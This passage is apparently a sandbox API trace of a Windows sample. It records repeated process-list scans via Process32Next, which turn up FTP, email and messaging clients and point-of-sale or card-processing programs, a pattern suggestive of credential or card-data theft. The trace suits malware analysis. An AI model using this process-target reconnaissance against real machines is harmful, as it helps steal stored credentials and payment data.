th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0112.305] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0112.308] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0112.311] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0112.314] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0112.317] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0112.320] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0112.323] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0112.326] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0112.329] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0112.333] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0112.336] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0112.344] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0112.347] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0112.349] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0112.352] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0112.355] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0112.361] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0112.366] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0112.369] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0112.382] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0112.385] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0112.388] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0112.391] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0112.397] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0112.400] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0112.402] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0112.406] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0112.408] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0112.411] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0112.414] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0112.417] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0112.420] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0112.422] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0112.428] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0112.431] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0112.433] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0112.436] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0112.440] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0112.443] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0112.446] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0112.449] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0112.451] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.454] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0112.457] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.461] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0112.463] CloseHandle (hObject=0x1e9c) returned 1 [0112.464] Sleep (dwMilliseconds=0x64) [0112.564] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e9c [0112.581] Process32First (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.584] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0112.586] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0112.589] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.614] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0112.617] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.626] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0112.629] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0112.632] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0112.634] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.638] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.641] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.644] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.646] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.649] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.651] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.654] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.657] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.659] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.662] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.664] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.667] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0112.670] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.673] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.675] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0112.679] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0112.681] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0112.684] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.686] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0112.690] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0112.692] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.695] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.697] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.700] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0112.703] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0112.705] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.708] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.710] 